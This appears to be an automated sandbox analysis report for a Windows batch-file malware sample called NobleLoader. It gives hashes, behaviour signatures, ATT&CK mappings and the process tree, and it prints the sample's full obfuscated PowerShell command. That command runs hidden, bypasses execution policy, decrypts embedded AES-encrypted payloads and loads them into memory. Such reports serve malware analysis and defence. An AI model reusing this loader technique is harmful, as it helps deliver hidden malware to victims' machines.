314414050eb799fc18f7ee3b8846245f12e991944ef28460de7d76146fbd73fe

Analysis

max time kernel
120s
max time network
123s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13/10/2023, 01:36

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General

Target

NobleLoader.bat
Size

14.7MB
MD5

41171b66cefb46e58ba0df569a29588b
SHA1

ef11eca23d8b41ca19fc88029ebb4ff672de2f9f
SHA256

314414050eb799fc18f7ee3b8846245f12e991944ef28460de7d76146fbd73fe
SHA512

04dfa344fc41fbded8b90b72291fa97916a6b569503cf6e366e88b00c3d1ecedbe51bcc6b5aecd0ba995a3a0a8af568cb0921d0c1e9e5693051ff2caa6c0ce35
SSDEEP

49152:htLRC7rgOCeCecxKk5As27eSlwlLe/KY/yhRsfP6NcgDn8etxb6Qg8H3VkgLh+tE:J

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2148	NobleLoader.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2080	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2148	NobleLoader.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2148	NobleLoader.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2148	2080	cmd.exe	29
PID 2080 wrote to memory of 2148	2080	cmd.exe	29
PID 2080 wrote to memory of 2148	2080	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat.exe
  "NobleLoader.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function dKkPF($rLJWw){ $ySOir=[System.Security.Cryptography.Aes]::Create(); $ySOir.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ySOir.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ySOir.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fl4XsmQUlo5HqJe6IBfvpWzFzSP1woqDovxAl5nwYc='); $ySOir.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JV1yPqn7LVbeB01ZBy1dKQ=='); $oPUml=$ySOir.CreateDecryptor(); $return_var=$oPUml.TransformFinalBlock($rLJWw, 0, $rLJWw.Length); $oPUml.Dispose(); $ySOir.Dispose(); $return_var;}function dpCjA($rLJWw){ $NUAvB=New-Object System.IO.MemoryStream(,$rLJWw); $Tmkrt=New-Object System.IO.MemoryStream; $XuDmZ=New-Object System.IO.Compression.GZipStream($NUAvB, [IO.Compression.CompressionMode]::Decompress); $XuDmZ.CopyTo($Tmkrt); $XuDmZ.Dispose(); $NUAvB.Dispose(); $Tmkrt.Dispose(); $Tmkrt.ToArray();}function MAUEU($rLJWw,$UonDX){ $QBoaH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$rLJWw); $qHjlp=$QBoaH.EntryPoint; $qHjlp.Invoke($null, $UonDX);}$jzSnL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat').Split([Environment]::NewLine);foreach ($oDbrA in $jzSnL) { if ($oDbrA.StartsWith('SEROXEN')) { $JjzPL=$oDbrA.Substring(7); break; }}$gLogk=[string[]]$JjzPL.Split('\');$iDoUz=dpCjA (dKkPF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($gLogk[0])));$JhZoF=dpCjA (dKkPF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($gLogk[1])));MAUEU $JhZoF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));MAUEU $iDoUz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\NobleLoader.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\NobleLoader.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2148-5-0x000000001B080000-0x000000001B362000-memory.dmp

Filesize
2.9MB

Download
memory/2148-6-0x00000000024A0000-0x00000000024A8000-memory.dmp

Filesize
32KB

Download
memory/2148-7-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-8-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2148-10-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2148-9-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2148-11-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2148-12-0x00000000024B0000-0x0000000002530000-memory.dmp

Filesize
512KB

Download
memory/2148-13-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

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